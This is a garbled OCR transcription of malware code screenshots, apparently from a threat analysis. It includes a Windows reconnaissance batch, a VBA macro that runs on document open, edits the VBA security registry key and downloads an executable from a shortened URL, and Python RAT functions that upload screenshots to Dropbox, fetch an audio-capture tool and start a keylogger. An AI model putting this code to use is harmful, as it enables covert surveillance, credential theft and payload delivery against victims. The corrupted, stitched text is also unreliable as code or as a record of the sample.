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dir %appdata%w* bat> > %tempiWout tut

tasklist> > %tempi¥tout txt

dir "%appdata¥iicrosoftwWindowsWstart MenuwProgramswstartup” > = %tempSeWout. txt

dir "$sallusersprofileSewMicrosoftwWindows®start MenuwPrograms#startup” = > Sstempwout. txt

ME =% out.txt

systeminfo> =%tempSetout txt

route print> =%tempSWout txt

\

ipconfig /all>>%templewout.txt

arp -a>>=%temp%¥rout tut

dir %eappdatabewWMicrosoftwWindowsWRecent> =SetempSeWout tut

wrmic startup > > 9%tempi%wout.txt

oM A
7|24
L Y=g

AtH O

cmd.exe fc del WShappdata®eywwhdicrosoftd W WindowswwStart
MMenud S ProgramswWi Startup®Wa = WBSW™ WShappdatateww = ChM DWW
WrStappdatatewtw* BATW" W' %appdata®ewd 01w
WrhappdatatewtwMicrosoftyWind owswwStart
MMenudyProgramswWi Startup®a = Inkaw™
WresallusersprofilefeWWMicrosofta S WindowsWW Start

MMenud S ProgramsW Startup® = Inkw" /F /O
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|Document v||0pen

Private Sub Add_RegistryKeyYalue{newvYalue As Integer)
Oim wsh As Object
Dim regkey As String

TN S kTR 2=t ] W1 el bl el

IregKey = "HKEY_CURRENT_USER#Sof twarefiMicrosof tHOFf iced” & Application.Yersion & "WWurdWSecuritythcessVBDM"I

End 2ub

Friwate Sub Document_Opent )
Const STARTF_USESHOWNINDOW = &H1
Const ZW_SHOW = 5§
Caonst SW_Hide =0
Const PROCESS_ALL_ACCESS = &HIFOFFF
Const MEM_COMMIT = &H1000
: : Const MEM_RESERVE = &H2000
Lol - = o Const MEM_RESET = &HE0O0
Const PAGE_EXECUTE_READWRITE = &H40
1. Thersloly =23 & ) . Oim proc AS PROCESS_INFORMAT ION
Oim PID As Long

Add_RegistrykeyValue |

LLi Ll Fa

sirl = "https://bit, Iv/3ExNGeP” I

2. x|, 22| Hot s =S HE 5 2iFuUne (28 ~ 48 ) Ll oatb i trico
path = Environ("Temp") & "Wrokrat.exe"l

ge wE wolatg (Bosh Hel

Oim Download_Go As Object
Oim Download &s Dbject

Set Download = Createlbject( "MSXHLZ.serverXMLHTTR" )

Oownload.Open "GET", sUrl, False
Download. send

3. HIE7= TeEE pEsts 38 aFAg (maw 28

If Download,Status = 200 Then
Zet Download_Go = Createlbject{"adodb.stream” )
Down load_Go.Open
ODownload_Go.Type = 1
Download_Go.Write Download.responseBody
Download_Go,SaveToFile path, 2
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try file create in temp():

temp path os.environ| "temp”]

curr_time = time.strftime(" _%Y%m¥%d %HEM%S") " _tmp"
f ("{I\\{}"-format(temp path, curr time), 'w')
f-close()

file create_into SystemPath():
_LENGTH
path "C:\\Windows\\"
string pool string.digits
file _name = path .

i (_LENGTH) :

file name random.choice(string_pool)

f ("{}.dat".format(file_name), "w")

request_to url(url):

requests.get(url)

execute_command():

cmd1 "cmd.exe [fc del \"%appdata¥®\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\*._.VBS\" \"%appdata%\\*.CMD\"
\"%appdata®\\* .BAT\" \"%appdata®\\*¥@1\" \"%¥appdata¥%\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\*.1lnk\"
\"%allusersprofile®\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\*.1nk\" /F /Q"

cmd?2 "cmd.exe [fc del \"%appdata%®\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\*.VBS\" \"%appdata®%\\*.CMD\"™
\"Xappdata®\\*.BAT\" \"%appdata%\\*e1\" /F /Q"

subprocess.call(cmd1)

subprocess.call(cmd2)

file download():
url "http://content.dropboxapi.com/2/files/download/KB488928.exe"




def info():

subprocess.
subprocess.
subprocess.
subprocess.
subprocess.
subprocess.
subprocess.
subprocess.
subprocess.
subprocess.

subprocess.

call('C:/Windows/System32/WindowsPowerShell/vi.
call('C:/Windows/System32/WindowsPowerShell/vl.
call("C:/Windows/System32/WindowsPowerShell/vl.
call("C:/Windows/System32/WindowsPowerShell/v1.
call("C:/Windows/System32/WindowsPowerShell/v1.
call('C:/Windows/System32/WindowsPowerShell/vi.
call('C:/Windows/System32/WindowsPowerShell/vl.
call('C:/Windows/System32/WindowsPowerShell/vl.
call("C:/Windows/System32/WindowsPowerShell/v1.
call('C:/Windows/System32/WindowsPowerShell/vi.

call('C:/Windows/System32/WindowsPowerShell/vl.

Autoscreenshot():

curr_time
img
file name

time.strftime(” %Y%

ImageGrab.grab()

*{}image{}.png'.format(Temp path, curr time)

img.save(file name)

time.sleep(5)

@/powershell.
8/powershell.
@/powershell.
@/powershell.
@/powershell.
8/powershell.
@/powershell.
@/powershell.
@/powershell.
@/powershell.

@/powershell.

bl - requests.post(“http://content.dropboxapi.com/2/files/upload™)
bl.status_ code
print(“post dropboxapi.comScreenshot”, blj

bl.close()

os.remove(file name)

threading.Timer(5, Autoscreenshot).start()

dir %appdata¥%/*.bat>>%temp¥%/out.txt", shell=True)

tasklist>>%temp%/out.txt"®, shell=True)

dir "%appdata%/Microsoft/Windows/Start Menu/Programs/Startup”>>¥%temp%/out.txt",
dir "%allusersprofile%/Microsoft/Windows/StartMenu/Programs/Startup”>>%temp%/out
systeminfo>>%temp¥%/out.txt", shell=True)

route print>>%temp%/out.txt®, shell-True)

ipconfig /all>>%temp¥%/out.txt’, shell=True)

arp -a>>%temp%/out.txt’, shell-True)

dir %appdata%/Microsoft/Windows/Recent>>%temp%/out.txt’, shell-True)

wmic startup >> %temp%/out.txt", shell=True)

cmd.exe /c del ["¥%appdata%//Microsoft//Windows//StartMenu//Programs//Startup//*
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def Autoscreenshot():

curr_time time.strftime(" %y¥%mid

img - ImageGrab.grab()

file_name '{}image{}.png' .format(Temp_path, curr_time)
img.save(file_name)

time.sleep(5)

b1 requests.post("http://content.dropboxapi.com/2/files/upload”)
bl.status_code

print("post dropboxapi.comScreenshot™, bl)

bl.close()

os.remove(file name)
threading.Timer (5, Autoscreenshot).start()

def Audio_recode():
url "http://api.box.com/2.8/folders/6/items/capture.tar"
file_name = Temp_path + "capture.tar"
open(file_name, "wb™) file:
response - requests.get(url)
file.write(response.content)

pl subprocess._run("tar -xvf {} -C {}'.format(file_name, Temp_path), capture output-True, text=True, shell=True)

path_cap - Temp_path + "capture\\cap.exe"
path_wav Temp_path "record.wav"

(1):
rbin - Temp_path bin{random.randint(8, 1
subprocess.call("{} -t waveaudio default {} trim @ 91 99" format(path_cap, path_wav))
os.rename(path_wav, rbin)
time.sleep(3)

" "

os.remove(rbin)
def Keylogger():

path = "{}kklog.txt".format(Temp_path)
logging.basicConfig(filename-path, level-logging.DEBUG, format-='["
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XAMPP Control Panel
XAMPP Control Panel v3.3.0
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